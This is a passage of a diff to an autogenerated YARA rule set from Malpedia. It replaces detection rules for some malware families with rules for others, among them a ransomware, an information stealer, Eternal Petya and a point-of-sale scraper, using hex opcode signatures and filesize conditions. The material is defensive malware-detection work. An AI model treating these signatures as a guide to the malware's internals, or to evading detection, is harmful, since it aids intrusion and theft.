+		$sequence_10 = { ffb5a0050000 6802020000 ff15???????? 6a06 6a01 6a02 ff15???????? }
+		$sequence_11 = { c705????????00010000 68???????? 68???????? ff15???????? 68???????? ff15???????? }
+		$sequence_12 = { 6a10 ffb5a8050000 ffb5b8050000 ff15???????? }
+		$sequence_13 = { 81fb04030000 730c 90 83c004 }
+		$sequence_14 = { 31c9 90 3108 90 813890909090 }
+		$sequence_15 = { 637574 6541 0050ff 15???????? c705????????00010000 68???????? 68???????? }
 
 	condition:
-		7 of them and filesize <99576
+		7 of them and filesize <40960
 }
-rule MALPEDIA_Win_Mrac_Auto : FILE
+rule MALPEDIA_Win_Vhd_Ransomware_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f610a0ea-21d4-5420-9cb8-a0ef900d553a"
+		id = "1b802015-a125-5833-acd7-30aed08841d8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mrac"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mrac_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vhd_ransomware_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "39e0c8c23990eee898b7d74c2127c69decfcb303742ac7378812e728f22f2f91"
+		logic_hash = "32d97d3009fbca3c4f84bd22721b2479eac7cefb08b428240c2e9ebde9b435cb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179684,32 +186686,32 @@ rule MALPEDIA_Win_Mrac_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8c24d40a0000 6a0f 888424ea0a0000 e8???????? 346c 8d8c24d40a0000 6a10 }
-		$sequence_1 = { 8d8c24c8030000 e8???????? 046e 8d8c24c4030000 6a77 888424c8030000 e8???????? }
-		$sequence_2 = { 6a0a 88842475060000 e8???????? 3451 8d8c2464060000 6a0b 88842476060000 }
-		$sequence_3 = { c684240b07000079 c684240c07000079 c684240d0700007b c684240e0700007e c684240f0700007e c684241007000032 c68424110700003d }
-		$sequence_4 = { 8d8c249c000000 6a27 888424a8000000 e8???????? 0454 8d8c249c000000 6a27 }
-		$sequence_5 = { 041d 342f 8885a1fbffff 8b8580fbffff 041e 3471 8885a2fbffff }
-		$sequence_6 = { 8d4c2460 6a4f 88442470 e8???????? 0456 8d4c2460 6a4f }
-		$sequence_7 = { 3462 8845b0 8b459c 0411 346a 8845b1 8b459c }
-		$sequence_8 = { 3474 8d8c2414050000 6a06 88842421050000 e8???????? 346f 8d8c2414050000 }
-		$sequence_9 = { 040f 3472 88842433140000 8b842420140000 0410 3469 }
+		$sequence_0 = { 8b450c 4a 3bd0 7d10 8bc8 }
+		$sequence_1 = { 68???????? 8d45f4 50 c745f4d8514100 e8???????? cc 8bff }
+		$sequence_2 = { e8???????? 8b8514e6ffff 48 83c404 4b 898514e6ffff 85c0 }
+		$sequence_3 = { f3ab 8b8dccfcffff 890a 85c9 7e98 8d4a04 }
+		$sequence_4 = { c1eb18 0fb69b98744100 c1e308 0bda 8b55cc c1ea08 0fb6d2 }
+		$sequence_5 = { 66895c2460 897c241c c7442420c05d4000 897c2424 897c2428 }
+		$sequence_6 = { 7d10 895c8204 ff02 8bde 33f6 8bcb 0bce }
+		$sequence_7 = { e8???????? b9c9000000 8bf0 8dbd7cf6ffff }
+		$sequence_8 = { 46 83fe40 7cee 8d4d9c 51 8d8d84baffff e8???????? }
+		$sequence_9 = { ff15???????? 32c0 e9???????? 6a00 8d8588b4ffff 50 6800200000 }
 
 	condition:
-		7 of them and filesize <745472
+		7 of them and filesize <275456
 }
-rule MALPEDIA_Win_Recordbreaker_Auto : FILE
+rule MALPEDIA_Win_Sagerunex_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "242c0c11-6eb0-5e72-beaa-aa71c863ae8a"
+		id = "f1b502b3-b120-59e0-983f-cafb93914bcc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.recordbreaker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.recordbreaker_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sagerunex"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sagerunex_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "600e9d6aeb0913499891accea4667949930b0cff9e2a09c3687c79439815914b"
+		logic_hash = "08cdcbbbd6ca868eddb1becc5a51582d041936061352010bb8c3c5ac48e633a5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179723,32 +186725,32 @@ rule MALPEDIA_Win_Recordbreaker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 2bf7 8bcf d1fe 56 53 e8???????? }
-		$sequence_1 = { 42 66890c38 8d0412 0fb70c30 663bcb }
-		$sequence_2 = { 59 85c0 7408 6afe }
-		$sequence_3 = { 6a02 ff75fc ff15???????? 6a03 ff75fc ff15???????? 6a04 }
-		$sequence_4 = { 8bd7 8bc8 e8???????? 8b15???????? 8bc8 e8???????? 8bd3 }
-		$sequence_5 = { 6a1a 53 6a00 8bf8 }
-		$sequence_6 = { 881e 46 49 83ea01 }
-		$sequence_7 = { 8b15???????? 8bc8 e8???????? 8b55ec }
-		$sequence_8 = { 2bc6 d1f8 56 8d3c46 33c0 }
-		$sequence_9 = { 8b4d0c 8b07 5f 5e }
+		$sequence_0 = { 4c8bb424d8010000 c744245001000000 4c896c2458 4c896c2460 4885c9 742c 4a8d04fd00000000 }
+		$sequence_1 = { 72d1 498bd4 483bd7 488d4de7 480f42fa 488bd7 e8???????? }
+		$sequence_2 = { c74324a44ffabe 488bcb 89b3e8000000 c70340000000 e8???????? 488d442420 c60000 }
+		$sequence_3 = { 498bcc e8???????? 85c0 7849 488d45b0 488d55f0 498bcf }
+		$sequence_4 = { e8???????? e8???????? ffc7 448bc0 b84fecc44e 41f7e8 c1fa03 }
+		$sequence_5 = { 4d894838 4c8b5340 458bca 4983d300 49c1ea20 418bc9 4d0fafcf }
+		$sequence_6 = { 894260 33d2 e8???????? 488d442470 488d15d0230300 }
+		$sequence_7 = { 83f803 7cc5 eb04 897c2450 443bfe 752a 448b7c2444 }
+		$sequence_8 = { 498bcf c745df02000000 c745fb01000000 c745e301000000 ff15???????? 85c0 7507 }
+		$sequence_9 = { 4403c0 418bc6 4503c2 c1c007 c1ca0b 33d0 418bc6 }
 
 	condition:
-		7 of them and filesize <232312
+		7 of them and filesize <619520
 }
-rule MALPEDIA_Win_Navrat_Auto : FILE
+rule MALPEDIA_Win_Ceeloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "267e4534-59a3-5746-9f05-524cfafc2ef1"
+		id = "385139d5-6e1c-5e2f-90c3-04a312f22353"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.navrat_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ceeloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ceeloader_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "d02406512a8ed4f24033286c28dfca048100e2bb166bb80aa3e9acab2e4b74d3"
+		logic_hash = "5733aa6d7aff1d1a6c42de98107a30359cd04782474df0d5ddf09cf2979a826e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179762,32 +186764,32 @@ rule MALPEDIA_Win_Navrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fbec0 83e847 c3 8d48d0 80f909 }
-		$sequence_1 = { 56 68???????? 50 8d85f0feffff 8bf1 50 }
-		$sequence_2 = { f7de 1bf6 f7de 56 68???????? }
-		$sequence_3 = { 8bf0 f7de 1bf6 f7de 56 }
-		$sequence_4 = { 0fbec0 83e847 c3 8d48d0 80f909 7707 }
-		$sequence_5 = { 7707 0fbec0 83c004 c3 3c2b 7503 }
-		$sequence_6 = { c3 3c2f 0f95c0 fec8 2440 fec8 }
-		$sequence_7 = { 85f6 7407 8b7608 83461c02 }
-		$sequence_8 = { c745dc726f736f c745e066745c57 c745e4696e646f c745e877735c43 c745ec75727265 c745f06e745665 }
-		$sequence_9 = { 51 56 50 57 a3???????? ff15???????? 57 }
+		$sequence_0 = { 3bce 33f6 23c7 0bda 8bde c3 0bd3 }
+		$sequence_1 = { 448b15???????? 4489c6 4431de 4589c3 4101f3 44891d???????? 4589c3 }
+		$sequence_2 = { 664589c2 664489942490030000 440fbe05???????? 4183f074 664589c2 664489942492030000 440fbe05???????? }
+		$sequence_3 = { 0bda 8bde 0bd3 3bce 23f3 7a04 0bda }
+		$sequence_4 = { 8b842420010000 3b84241c010000 0f8433000000 8b842420010000 898424dc000000 e8???????? 8b8c241c010000 }
+		$sequence_5 = { 3bdd 23fd 0bda 8bde 0bd3 3bce 5a }
+		$sequence_6 = { 741d 4885ff c6435401 488d0d53880800 480f45cf 48894b48 e8???????? }
+		$sequence_7 = { 88542433 0fbe05???????? 83f064 88c2 88542434 0fbe05???????? 83f076 }
+		$sequence_8 = { 4489a42464020000 4403bc2464020000 4489bc2460020000 448bbc2460020000 4589dc 4181e45d386101 4489a4245c020000 }
+		$sequence_9 = { 41c1e204 4489942448050000 44038c2448050000 44898c2444050000 448b8c2444050000 4189d2 4181e235913d02 }
 
 	condition:
-		7 of them and filesize <352256
+		7 of them and filesize <2321408
 }
-rule MALPEDIA_Win_Dimnie_Auto : FILE
+rule MALPEDIA_Win_Temp_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8c590346-8ec4-5fdf-b560-136be983395f"
+		id = "f2cc61b5-19bf-56a2-9eca-3f40739e6ccc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dimnie"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dimnie_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.temp_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.temp_stealer_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "0f3f067f034444fcc73a96e10a6a53b5dc6ee2b790aaefb3f5f862bcac5e875a"
+		logic_hash = "225e1e9fc27831c15c6655569f2cde4ac7e8ac8903eef398ab726a5dfa80c059"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179801,32 +186803,32 @@ rule MALPEDIA_Win_Dimnie_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7605 8b450c eb54 8b550c 2b5508 83fa01 751c }
-		$sequence_1 = { 33c0 eb6e 8b4508 3b450c 7505 8b4508 }
-		$sequence_2 = { 8945f4 8b45f4 c1e804 8945f4 8b4df8 83c101 }
-		$sequence_3 = { 8b550c 2b5508 8955f8 0f31 8945f4 8b45f4 c1e804 }
-		$sequence_4 = { eb6e 8b4508 3b450c 7505 8b4508 eb61 }
-		$sequence_5 = { 2b5508 83fa01 751c 0f31 }
-		$sequence_6 = { 8b4508 eb61 8b4d08 3b4d0c 7605 8b450c }
-		$sequence_7 = { 8b4d0c 8a55af 885102 837d1002 7e13 8b4508 0fb64802 }
-		$sequence_8 = { 8b4510 8b08 83e107 8b5510 890a }
-		$sequence_9 = { c70201000000 8b4508 8b08 83e10f 8b5508 890a 8b450c }
+		$sequence_0 = { 4d8bc7 498bce e8???????? 4885c0 7405 492bc6 eb04 }
+		$sequence_1 = { 488d4c2430 e8???????? 488b442430 48635004 488d051a730300 4889441430 488b442430 }
+		$sequence_2 = { 5e 5d c3 4889542410 48894c2408 55 53 }
+		$sequence_3 = { 488d4dc0 e8???????? 0f10442460 0f1145c0 0f104c2470 0f114dd0 660f6f05???????? }
+		$sequence_4 = { 418ac7 84c0 0f8408010000 8b4c2448 488d154240fdff 2b4c244c 41b826000000 }
+		$sequence_5 = { 488d4c2430 e8???????? 488d542430 488d4c2470 e8???????? 90 }
+		$sequence_6 = { 488d4c2450 e8???????? 660f6f05???????? 488d152a670300 488d4de0 4c896de0 f30f7f45f0 }
+		$sequence_7 = { 4183f805 0f8582000000 8b470c 458d487a c744243001000000 4c8d05ee7f0100 89442428 }
+		$sequence_8 = { ff15???????? 4c8be0 488985a0000000 488d15b9a30300 488bcb ff15???????? 4c8bf8 }
+		$sequence_9 = { 488d4c2458 e8???????? 90 488d8d48010000 e8???????? 488d45a8 }
 
 	condition:
-		7 of them and filesize <212992
+		7 of them and filesize <652288
 }
-rule MALPEDIA_Win_Donot_Auto : FILE
+rule MALPEDIA_Win_Sneepy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "38387986-3cf2-52ef-b35f-48e7a3ada73a"
+		id = "92a9a098-af3e-565a-a77d-ae1e4fe61438"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.donot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.donot_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sneepy_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "856eb217efb67c7a23eb4ad0af50dccbe8bb723a98d81632999df9a793bf3e4e"
+		logic_hash = "0102a60e328cb3b8b2c7928ec4f988725df8b07a3b2131190567958f6bfcc033"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179840,32 +186842,32 @@ rule MALPEDIA_Win_Donot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b04c580b80310 5d c3 33c0 }
-		$sequence_1 = { c7461400000000 0f1106 f30f7e45e4 660fd64610 c745e400000000 c745e80f000000 85d2 }
-		$sequence_2 = { 03d3 d1fa 8d4102 894738 8b4710 8918 8b4720 }
-		$sequence_3 = { e8???????? 8b15???????? b910000000 2bd6 8a0432 8d7601 3046ff }
-		$sequence_4 = { 7361 8bc6 8bde 83e03f c1fb06 6bc838 8b049d187b0410 }
-		$sequence_5 = { c645fc02 8d4dbc e8???????? 8bf8 83c404 3bf7 7465 }
-		$sequence_6 = { 0f438540ffffff 50 ff15???????? c645fc1b 8b559c 83fa10 722c }
-		$sequence_7 = { c6861002000000 8b8e0c020000 83f910 722f 8b86f8010000 41 81f900100000 }
-		$sequence_8 = { c685bcedffff00 8d5101 8a01 41 84c0 75f9 }
-		$sequence_9 = { c6863801000000 8b8e34010000 83f910 722f 8b8620010000 41 81f900100000 }
+		$sequence_0 = { e8???????? 83c40c 33c0 8a8810234100 }
+		$sequence_1 = { 83f8ff 0f85abfeffff 5f 5e }
+		$sequence_2 = { 8945e4 8845e8 e8???????? 8d55e4 83c404 2bd0 8a08 }
+		$sequence_3 = { ffd6 85c0 740d 8b85b8feffff 50 ffd6 }
+		$sequence_4 = { e8???????? 83c40c 32c0 5e 8b4dfc }
+		$sequence_5 = { 68???????? 8945f4 8845f8 e8???????? 8d55f4 83c404 }
+		$sequence_6 = { ff15???????? 8bc8 8a10 40 }
+		$sequence_7 = { 33c0 8b4d08 3b0cc520de4000 740a 40 83f816 72ee }
+		$sequence_8 = { 668b0d???????? 8a15???????? 668908 6a50 }
+		$sequence_9 = { 33c0 8945e4 83f805 7d10 668b4c4310 66890c4514314100 }
 
 	condition:
-		7 of them and filesize <626688
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Nabucur_Auto : FILE
+rule MALPEDIA_Win_Eternal_Petya_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "01e16fcc-e93c-502a-bf23-e97657c28f28"
+		id = "bf49aeac-2e4f-5384-8db1-b43fb4139322"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nabucur"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nabucur_auto.yar#L1-L161"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.eternal_petya_auto.yar#L1-L162"
 		license_url = "N/A"
-		logic_hash = "6100efc8bca15f40de853b2fa2bd4731e512123d488b941f31d2f09287a69887"
+		logic_hash = "715ae6ddfaceb7ac967a454caeda07039960e25d99f3dc3f83571a182c2a56de"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179879,38 +186881,38 @@ rule MALPEDIA_Win_Nabucur_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 48 49 85c0 75fa }
-		$sequence_1 = { 48 5f 894500 5d }
-		$sequence_2 = { 48 83e908 85c0 75f0 57 }
-		$sequence_3 = { 48 83e904 85c0 7ff3 8bf0 8b442448 }
-		$sequence_4 = { 48 83f801 89442418 0f8f15ffffff }
-		$sequence_5 = { 33ff 33f6 4a c744244001000000 }
-		$sequence_6 = { 009eaa030000 0fb686aa030000 57 83f80a 0f876d010000 }
-		$sequence_7 = { 48 8906 8d442410 50 }
-		$sequence_8 = { ba86a33ffb 83e904 ba575a2bfd eb69 83f901 7519 }
-		$sequence_9 = { 3f 71e3 0c42 869576f1896a 86f6 }
-		$sequence_10 = { 732e 5c 54 7346 b654 8c534c }
-		$sequence_11 = { 141b 46 ec 54 732e }
-		$sequence_12 = { 01e4 01f4 1481 0491 00850cf41196 }
-		$sequence_13 = { ff75f8 ff35???????? ff15???????? 8b7520 8b45e4 }
-		$sequence_14 = { 8b4608 50 ff15???????? 61 eb11 }
-		$sequence_15 = { 06 e409 9a1496099a1581 0d911c9060 9d 01e4 }
+		$sequence_0 = { 55 8bec 51 57 68000000f0 }
+		$sequence_1 = { 53 8d4644 50 53 }
+		$sequence_2 = { 57 68000000f0 6a18 33ff }
+		$sequence_3 = { 53 6a21 8d460c 50 }
+		$sequence_4 = { 68f0000000 6a40 ff15???????? 8bd8 }
+		$sequence_5 = { 49 75f2 8b4364 034360 8b4b68 894dd4 }
+		$sequence_6 = { 8945d0 8bc7 8b7df8 d3e8 8b4de0 03c1 8d3c87 }
+		$sequence_7 = { 55 8bec 8b4d0c baff000000 }
+		$sequence_8 = { 8d4508 50 53 ff750c 897508 }
+		$sequence_9 = { 68???????? e8???????? 85c0 7403 83ce02 }
+		$sequence_10 = { 68e8030000 ff15???????? 3bfe 75d3 }
+		$sequence_11 = { 55 8bec 8b5508 53 56 57 8b721c }
+		$sequence_12 = { 8b07 85c0 75c3 8b75f4 }
+		$sequence_13 = { e8???????? 894610 895614 8bc6 5f 5e }
+		$sequence_14 = { 898502fcffff 8b85e8fbffff 99 81e2ff010000 }
+		$sequence_15 = { 56 51 ffd3 8b15???????? 56 52 8985f0fbffff }
 
 	condition:
-		7 of them and filesize <1949696
+		7 of them and filesize <851968
 }
-rule MALPEDIA_Win_Classfon_Auto : FILE
+rule MALPEDIA_Win_Hotcroissant_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "68a5b428-fba0-5238-83c9-3255bfbb3ff5"
+		id = "250e256f-bf01-5062-b0b5-f902754e1ec1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.classfon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.classfon_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotcroissant"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hotcroissant_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "752d9b4933679b22e7a2ada3974321921c7722355427af1c70ee3b8ff2e5df5f"
+		logic_hash = "2f7df521e2093bda16bb20427bf0af1885ac8e8db0533585bb878e9befdcfdd1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179924,71 +186926,69 @@ rule MALPEDIA_Win_Classfon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 7462 8b542408 8b8e00020000 8b44240c }
-		$sequence_1 = { 8b742418 83f8ff 898600020000 7508 5f 33c0 }
-		$sequence_2 = { 50 ffd3 89be04020000 8b8600020000 3bc7 740e }
-		$sequence_3 = { 8b1d???????? a1???????? 50 57 ff15???????? }
-		$sequence_4 = { 8d4c241c 8d542424 51 8b4c2414 8d442424 52 }
-		$sequence_5 = { 8d842430020000 50 ffd7 8d8c2430010000 51 ffd7 8b542424 }
-		$sequence_6 = { 6a00 6a00 6a00 6802000004 6a00 899610020000 }
-		$sequence_7 = { 68???????? 51 c744242802000000 c744242c2c010000 ff15???????? }
-		$sequence_8 = { 50 ff15???????? 8bd8 83fbff 0f849c000000 8b470c 8b5708 }
-		$sequence_9 = { 0f85c3000000 8b460c 85c0 0f84c0000000 03c5 }
+		$sequence_0 = { c705????????01000000 ffd6 6800040000 68???????? }
+		$sequence_1 = { 68???????? 68???????? 68???????? c705????????0c000000 c705????????00000000 c705????????01000000 }
+		$sequence_2 = { 25ff7f0000 33c9 7707 3d00400000 7608 6a0a ff15???????? }
+		$sequence_3 = { 83e780 c1e307 33fb c1e711 c1e808 46 0bc7 }
+		$sequence_4 = { 85c0 7506 6a0a ffd6 }
+		$sequence_5 = { 6a00 68703a0000 6a00 50 ffd7 85c0 }
+		$sequence_6 = { e8???????? 6a00 c705????????00000000 ff15???????? 6a00 }
+		$sequence_7 = { 8d958cc5ffff 52 50 ff15???????? 85c0 }
+		$sequence_8 = { ff15???????? 85c0 7506 6a0a }
+		$sequence_9 = { 56 6a01 50 ff15???????? a1???????? }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <591872
 }
-rule MALPEDIA_Win_Dratzarus_Auto : FILE
+rule MALPEDIA_Win_Unidentified_089_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3e7875e3-7e0c-5dea-9e90-8b6135466b8c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dratzarus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dratzarus_auto.yar#L1-L123"
+		id = "f61e4a77-808b-5e07-801b-03e57ce838b5"
+		date = "2023-07-11"
+		modified = "2023-07-15"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_089"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_089_auto.yar#L1-L98"
 		license_url = "N/A"
-		logic_hash = "5f92bffb1ff676600291544ee9f45d8f2036c734b0601a5e03b740f618ff0f21"
+		logic_hash = "f9666eb88fbd91e0eb2e4b4c8812230b36d73d66192fed407aecfaa8f0ed362a"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
+		malpedia_rule_date = "20230705"
+		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
+		malpedia_version = "20230715"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 740a 488b1b 4885db 75c2 eb2f 8b8398010000 }
-		$sequence_1 = { f6c201 7403 66ffc3 66ffc0 6683f81a }
-		$sequence_2 = { e8???????? f20f5ef0 f20f1005???????? f20f2cd6 660f6eca 4863c2 488d0c40 }
-		$sequence_3 = { ff15???????? 488d4d68 ba13000000 488905???????? e8???????? }
-		$sequence_4 = { 488d8dc8000000 ba1c000000 488905???????? e8???????? 488bcb 488bd0 ff15???????? }
-		$sequence_5 = { 3c41 7c04 3c5a 7e08 3c30 7c19 3c39 }
-		$sequence_6 = { 6683f81a 72e3 0fb7c3 4883c420 }
-		$sequence_7 = { c745303ae47159 c7453474b06493 c745380897878b c6453c5b e8???????? 488bc8 }
-		$sequence_8 = { c7450f86f5e3e6 c74513a93633c4 c7451793554020 c7451b48549c39 c7451faaa5f9c7 }
-		$sequence_9 = { 488d4dc8 ba0c000000 488905???????? e8???????? 488bcb 488bd0 ff15???????? }
+		$sequence_0 = { 889dd4feffff 899d84feffff 898588feffff 889d74feffff 33c0 }
+		$sequence_1 = { 8b4508 e8???????? c20c00 e8???????? cc 6a30 }
+		$sequence_2 = { f2e9e3000000 55 8bec eb0d ff7508 e8???????? }
+		$sequence_3 = { 83f904 0f8582000000 8b75d0 8bfb }
+		$sequence_4 = { eb0f ff7634 57 ff562c }
+		$sequence_5 = { 88041e 880c1f 0fb6041e 8b4dfc 03c2 8b550c }
+		$sequence_6 = { 3dffffff7f 0f87a2000000 03c0 3d00100000 7227 }
+		$sequence_7 = { 56 6a01 8d4dec 8975d8 }
 
 	condition:
-		7 of them and filesize <1606656
+		7 of them and filesize <389120
 }
-rule MALPEDIA_Win_Chthonic_Auto : FILE
+rule MALPEDIA_Win_Punkey_Pos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a742c49c-6e3e-5872-bf95-e2e0adb04114"
+		id = "846510df-399c-5c73-991a-33d5b6390d78"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chthonic_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.punkey_pos_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "836fdc80a654c12e0017df0790b315dbe177f1e5fd0fa5cd260efc9eb4af2475"
+		logic_hash = "afbb6da5e69098feb647a1b39faf19c917a9fcb87281ef711eecf3479b712e35"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -180002,32 +187002,32 @@ rule MALPEDIA_Win_Chthonic_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7459 4f 8bf0 8bcf d3ee 83e601 }
-		$sequence_1 = { 0f845d010000 4f 8bf0 8bcf }
-		$sequence_2 = { 81cf00ffffff 47 8a01 8845ff 8d84bdfcfbffff 8b10 }
-		$sequence_3 = { 80e17f 8808 b001 5b c3 55 }
-		$sequence_4 = { 8b75f8 83fe02 0f850d010000 8b4df0 }
-		$sequence_5 = { 016e04 83c703 013e 8b36 83c410 }
-		$sequence_6 = { 5e 0f94c0 5b c9 c3 8b041a }
-		$sequence_7 = { 53 ff7510 ff7508 e8???????? 85c0 }
-		$sequence_8 = { 80e17f 8808 b001 5b c3 55 8bec }
-		$sequence_9 = { ff751c ff7518 ff7514 53 ff7510 ff7508 e8???????? }
+		$sequence_0 = { ffd7 a3???????? 85c0 74ae 5f }
+		$sequence_1 = { 8bec 837d0c01 56 57 756b }
+		$sequence_2 = { 837d0c01 56 57 756b 8b4508 }
+		$sequence_3 = { ff15???????? 8bf0 85f6 7508 5f 33c0 5e }
+		$sequence_4 = { 33c0 5e 5d c20c00 8b3d???????? }
+		$sequence_5 = { 68e7070000 50 ff15???????? ff05???????? 8b0d???????? }
+		$sequence_6 = { 55 8bec 8b4508 85c0 7919 8b4d10 8b550c }
+		$sequence_7 = { 6a02 a3???????? ff15???????? a3???????? 33c0 }
+		$sequence_8 = { 52 50 a1???????? 50 ff15???????? 5d c20c00 }
+		$sequence_9 = { 8bf0 85f6 7508 5f 33c0 5e }
 
 	condition:
-		7 of them and filesize <425984
+		7 of them and filesize <499712
 }
-rule MALPEDIA_Win_Lightneuron_Auto : FILE
+rule MALPEDIA_Win_Gazer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
